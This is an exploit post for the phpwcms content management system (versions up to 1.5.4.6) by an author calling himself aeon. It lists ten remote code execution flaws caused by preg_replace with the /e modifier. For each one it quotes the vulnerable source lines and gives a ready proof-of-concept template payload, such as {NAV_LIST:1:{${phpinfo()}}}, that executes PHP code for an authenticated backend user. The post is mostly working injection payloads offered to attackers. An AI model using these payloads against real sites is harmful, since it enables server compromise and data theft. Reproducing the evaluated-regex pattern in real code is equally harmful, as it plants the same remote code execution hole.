phpwcms <= v1.5.4.6 "preg_replace" remote code execution exploit
vendor: http://www.phpwcms.de/
Download: github.com/slackero/phpwcms
by: aeon
 
Well it appears there are multiple remote code execution bugs that exists in phpwcms for quite some time now. Here I will exploit one of them, but many are available to an attacker. I have only listed 10 as I got bored after that point...
 
In order to exploit the vulnerabilities, you will need to have access to an authenticated account as either a "backend user", "admin user" or "frontend / backend user". The only account that cannot exploit these vulnerabilities is the "frontend user".
 
Other vulnerabilities most probably exist in this application but I don't bother auditing for xss/csrf/click jacking etc. I only care about true
remotely exploitable bugs 8-)
 
Examples:
 
1. Lines 699-700 of ./include/inc_front/content.func.inc.php:
-------------------------------------------------------------
 
// list based navigation starting at given level
$replace = 'nav_list_struct($content["struct"],$content["cat_id"],"$1", "$2");';
$content["all"] = preg_replace('/\{NAV_LIST:(\d+):{0,1}(.*){0,1}\}/e', $replace, $content["all"]);
 
PoC:
{NAV_LIST:1:{${phpinfo()}}}
 
2. Line 704 of ,.include/inc_front/content.func.inc.php:
--------------------------------------------------------
 
$content["all"] = preg_replace('/\{NAV_LIST_TOP:(.*?):(.*?)\}/e', 'css_level_list($content["struct"], $content["cat_path"], 0, "$1", 1, "$2")', $content["all"]);
 
PoC:
{NAV_LIST_TOP:{${phpinfo}}:1}
 
3. line 708 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------
 
$content["all"] = preg_replace('/\{NAV_LIST_CURRENT:(\d+):(.*?):(.*?)\}/e', 'css_level_list($content["struct"],$content["cat_path"],$content["cat_id"],"$2","$1","$3")', $content["all"]);
 
PoC:
{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}
 
4. Line 792 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------
 
$content["all"] = preg_replace('/\{BROWSE:NEXT:(.*?):(0|1)\}/e','get_index_link_next("$1",$2);',$content["all"]);
 
PoC:
{BROWSE:NEXT:{${phpinfo()}}:1}
 
5. Line 793 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------
 
$content["all"] = preg_replace('/\{BROWSE:PREV:(.*?):(0|1)\}/e','get_index_link_prev("$1",$2);',$content["all"]);
 
PoC:
{BROWSE:PREV:{${phpinfo()}}:1}
 
6. Line 2661 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------
 
$text = preg_replace('/\{LIVEDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$livedate.'")', $text);
 
PoC:
{LIVEDATE:{${phpinfo()}} lang=ru}
 
7. Line 2658 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------
 
$text = preg_replace('/\{DATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);
 
PoC:
{DATE:{${phpinfo()}} lang=ru}
 
8. Line 2665 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------
 
$text = preg_replace('/\{KILLDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$killdate.'")', $text);
 
PoC:
{KILLDATE:{${phpinfo()}} lang=ru}
 
9. Line 2668 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------
 
return preg_replace('/\{NOW:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.now().'")', $text);
 
PoC:
{NOW:{${phpinfo()}} lang=ru}
 
10. Line 2674 of ./include/inc_front/front.func.inc.php:
--------------------------------------------------------
 
$text = preg_replace('/\{'.$rt.':(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);
 
PoC:
{DATE:{${phpinfo()}} lang=ru}
